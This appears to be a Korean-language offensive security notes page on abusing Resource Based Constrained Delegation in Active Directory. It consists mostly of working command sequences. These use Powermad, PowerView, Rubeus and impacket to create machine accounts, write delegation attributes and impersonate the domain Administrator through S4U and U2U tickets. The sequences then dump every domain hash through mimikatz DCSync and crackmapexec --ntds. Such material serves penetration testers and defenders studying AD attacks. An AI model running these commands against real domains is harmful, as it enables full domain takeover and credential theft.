Resource Based Constrained Delegation
rbcd가 이미 구성된 경우
rbcd 구성이 없는 경우
Abuse
Root Cause
via computer






via user








References
Last updated














Last updated
# RBCD 구성 객체 열거
Get-ADObject -LDAPFilter '(msDS-AllowedToActOnBehalfOfOtherIdentity=*)' -Properties msDS-AllowedToActOnBehalfOfOtherIdentity,objectClass | Select-Object Name,objectClass,DistinguishedName
# 필요한 라이브러리 업로드 및 호출
Import-Module Powermad.ps1
Import-Module PowerView.ps1
# 머신 계정 생성 및 SID 확인
New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force)
$ComputerSid = Get-DomainComputer -Identity rbcd -Properties objectSid
# SID를 아래 명령어에 그대로 삽입
$rsd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;; <SID>)"
$rsdb = New-Object byte[] ($rsd.BinaryLength)
$rsd.GetBinaryForm($rsdb, 0)
Get-DomainComputer -Identity "acs-dc01" | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $rsdb} -Verbose
# 객체 속성 조회
Get-DomainComputer -Identity "acs-dc01" -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
# RC4 해시 발급 및 티켓 요청
.\Rubeus.exe hash /password:Password123!
.\Rubeus.exe s4u /user:rbcd$ /rc4:2B576ACBE6BCFDA7294D6BD18041B8FE /impersonateuser:Administrator /msdsspn:ldap/acs-dc01.acs.secure /nowrap /ptt
# DCSync
mimikatz # lsadump::dcsync /domain:acs.secure /user:Administrator
# 위임 구성 정리
Set-ADComputer ACS-DC01 -Clear msDS-AllowedToActOnBehalfOfOtherIdentity# RBCD 위임 객체 열거
ldapsearch -x -H ldap://10.0.2.11 -D '[email protected]' -w 'Password123!' -b 'dc=acs,dc=secure' '(msDS-AllowedToActOnBehalfOfOtherIdentity=*)' cn distinguishedName
# 머신 계정 생성 및 위임 구성
impacket-addcomputer acs.secure/Mick3y:'Password123!' -computer-name 'rbcd$' -computer-pass 'Password123!' -dc-ip 10.0.2.11
impacket-rbcd -delegate-from 'rbcd$' -delegate-to 'acs-dc01$' -action 'write' -dc-ip 10.0.2.11 acs.secure/mick3y:'Password123!'
# 도메인 관리자 서비스 티켓 발급 및 환경 변수 등록
impacket-getST -spn 'cifs/acs-dc01.acs.secure' -impersonate Administrator -dc-ip 10.0.2.11 acs.secure/rbcd$:'Password123!'
export KRB5CCNAME=Administrator.ccache
# 도메인 NT 해시 탈취
crackmapexec smb 10.0.2.11 -u Administrator --use-kcache --ntds
# 위임 구성 정리
impacket-rbcd -delegate-from 'rbcd$' -delegate-to 'acs-dc01$' -action 'remove' -dc-ip 10.0.2.11 acs.secure/mick3y:'Password123!'# rbcd 권한 위임
impacket-rbcd -delegate-from 'test' -delegate-to 'dc01$' -dc-ip '192.168.1.100' -action write contoso.com/test:'Password123!'
# ntlm 기반으로 티켓 발급
NTLM=$(echo -n 'Password123!' | iconv -f UTF-8 -t UTF-16LE | openssl dgst -md4 | awk '{print $2}')
impacket-getTGT -hashes :$NTLM contoso.com/test
export KRB5CCNAME=test.ccache
# 티켓 세션 키 확인 및 ntlm을 세션키로 변경
impacket-describeTicket test.ccache | grep 'Ticket Session Key' | awk -F ':' '{print $2}' | tr -d ' '
impacket-changepasswd -newhashes :e84d8f6935d2f653dd305db667181964 contoso.com/test:'Password123!'@192.168.1.100
# 관리자 티켓 발급 및 DCSync
impacket-getST -k -no-pass -u2u -spn cifs/dc01.contoso.com -impersonate Administrator contoso.com/test
crackmapexec smb dc01.contoso.com -u Administrator --use-kcache --ntds